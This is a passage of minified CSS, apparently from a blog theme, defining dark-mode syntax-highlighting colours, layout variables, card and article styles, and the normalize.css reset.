.s1{color:#e6db74}[data-scheme=dark] .chroma .ss{color:#e6db74}[data-scheme=dark] .chroma .m{color:#ae81ff}[data-scheme=dark] .chroma .mb{color:#ae81ff}[data-scheme=dark] .chroma .mf{color:#ae81ff}[data-scheme=dark] .chroma .mh{color:#ae81ff}[data-scheme=dark] .chroma .mi{color:#ae81ff}[data-scheme=dark] .chroma .il{color:#ae81ff}[data-scheme=dark] .chroma .mo{color:#ae81ff}[data-scheme=dark] .chroma .o{color:#f92672}[data-scheme=dark] .chroma .ow{color:#f92672}[data-scheme=dark] .chroma .c{color:#75715e}[data-scheme=dark] .chroma .ch{color:#75715e}[data-scheme=dark] .chroma .cm{color:#75715e}[data-scheme=dark] .chroma .c1{color:#75715e}[data-scheme=dark] .chroma .cs{color:#75715e}[data-scheme=dark] .chroma .cp{color:#75715e}[data-scheme=dark] .chroma .cpf{color:#75715e}[data-scheme=dark] .chroma .gd{color:#f92672}[data-scheme=dark] .chroma .ge{font-style:italic}[data-scheme=dark] .chroma .gi{color:#a6e22e}[data-scheme=dark] .chroma .gs{font-weight:700}[data-scheme=dark] .chroma .gu{color:#75715e}:root{--body-background:#f5f5fa;--accent-color:#34495e;--accent-color-darker:#2c3e50;--accent-color-text:#fff;--body-text-color:#bababa;--tag-border-radius:4px;--section-separation:40px;--scrollbar-thumb:hsl(0, 0%, 85%);--scrollbar-track:var(--body-background)}@media(min-width:768px){:root{--main-top-padding:35px}}@media(min-width:1280px){:root{--main-top-padding:50px}}:root[data-scheme=dark]{--body-background:#303030;--accent-color:#ecf0f1;--accent-color-darker:#bdc3c7;--accent-color-text:#000;--body-text-color:rgba(255, 255, 255, 0.7);--scrollbar-thumb:#424242;--scrollbar-track:var(--body-background)}:root{--sys-font-family:-apple-system, BlinkMacSystemFont, "Segoe UI", "Droid Sans", "Helvetica Neue";--zh-font-family:"PingFang SC", "Hiragino Sans GB", "Droid Sans Fallback", "Microsoft YaHei";--base-font-family:"Lato", var(--sys-font-family), var(--zh-font-family), sans-serif;--code-font-family:Menlo, Monaco, Consolas, "Courier New", monospace}:root{--card-background:#fff;--card-background-selected:#eaeaea;--card-text-color-main:#000;--card-text-color-secondary:#747474;--card-text-color-tertiary:#bababa;--card-separator-color:rgba(218, 218, 218, 0.5);--card-border-radius:10px;--card-padding:20px;--small-card-padding:25px 20px}@media(min-width:768px){:root{--card-padding:25px}}@media(min-width:1280px){:root{--card-padding:30px}}@media(min-width:768px){:root{--small-card-padding:25px}}:root[data-scheme=dark]{--card-background:#424242;--card-background-selected:rgba(255, 255, 255, 0.16);--card-text-color-main:rgba(255, 255, 255, 0.9);--card-text-color-secondary:rgba(255, 255, 255, 0.7);--card-text-color-tertiary:rgba(255, 255, 255, 0.5);--card-separator-color:rgba(255, 255, 255, 0.12)}:root{--article-font-family:var(--base-font-family);--article-font-size:1.6rem;--article-line-height:1.85}@media(min-width:768px){:root{--article-font-size:1.7rem}}:root{--blockquote-border-size:4px;--blockquote-background-color:rgb(248 248 248);--heading-border-size:4px;--link-background-color:189, 195, 199;--link-background-opacity:0.5;--link-background-opacity-hover:0.7;--pre-background-color:#272822;--pre-text-color:#f8f8f2;--code-background-color:rgba(0, 0, 0, 0.12);--code-text-color:#808080;--table-border-color:#dadada;--tr-even-background-color:#efefee}:root[data-scheme=dark]{--code-background-color:#272822;--code-text-color:rgba(255, 255, 255, 0.9);--table-border-color:#717171;--tr-even-background-color:#545454;--blockquote-background-color:rgb(75 75 75)}:root{--shadow-l1:0px 4px 8px rgba(0, 0, 0, 0.04), 0px 0px 2px rgba(0, 0, 0, 0.06), 0px 0px 1px rgba(0, 0, 0, 0.04);--shadow-l2:0px 10px 20px rgba(0, 0, 0, 0.04), 0px 2px 6px rgba(0, 0, 0, 0.04), 0px 0px 1px rgba(0, 0, 0, 0.04);--shadow-l3:0px 10px 20px rgba(0, 0, 0, 0.04), 0px 2px 6px rgba(0, 0, 0, 0.04), 0px 0px 1px rgba(0, 0, 0, 0.04);--shadow-l4:0px 24px 32px rgba(0, 0, 0, 0.04), 0px 16px 24px rgba(0, 0, 0, 0.04), 0px 4px 8px rgba(0, 0, 0, 0.04), 0px 0px 1px rgba(0, 0, 0, 0.04)}.container{margin-left:auto;margin-right:auto}.container .left-sidebar{max-width:var(--left-sidebar-max-width)}.container .right-sidebar{max-width:var(--right-sidebar-max-width)}@media(min-width:1024px){.container .right-sidebar{display:block}}@media(min-width:768px){.container.extended{max-width:1024px;--left-sidebar-max-width:25%;--right-sidebar-max-width:30%}}@media(min-width:1024px){.container.extended{max-width:1280px;--left-sidebar-max-width:20%;--right-sidebar-max-width:30%}}@media(min-width:1280px){.container.extended{max-width:1536px;--left-sidebar-max-width:15%;--right-sidebar-max-width:25%}}@media(min-width:768px){.container.compact{--left-sidebar-max-width:25%;max-width:768px}}@media(min-width:1024px){.container.compact{max-width:1024px;--left-sidebar-max-width:20%}}@media(min-width:1280px){.container.compact{max-width:1280px}}.flex{display:flex;flex-direction:row}.flex.column{flex-direction:column}.flex.on-phone--column{flex-direction:column}@media(min-width:768px){.flex.on-phone--column{flex-direction:unset}}.flex.align-items--flex-start{align-items:flex-start}.flex .grow{flex-grow:1}.flex .do-not-shrink{flex-shrink:0}.flex .do-not-overflow{min-width:0;flex-shrink:1;max-width:100%}.flex .full-width{width:100%}main.main{min-width:0;max-width:100%;flex-grow:1;padding-top:var(--main-top-padding)}.main-container{min-height:100vh;align-items:flex-start;padding:0 15px;column-gap:var(--section-separation)}@media(min-width:768px){.main-container{padding:0 20px}}/*!normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css*/html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main{display:block}h1{font-size:2em;margin:.67em 0}hr{box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace,monospace;font-size:1em}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font-family:monospace,monospace;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{font-family:inherit;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,[type=button],[type=reset],[type=submit]{-webkit-appearance:button}button::-moz-focus-inner,[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}details{display:block}summary{display:list-item}template{display:none}[hidden]{display:none}/*!* Hamburgers * @description Tasty CSS-animated hamburgers * @author Jonathan Suh @jonsuh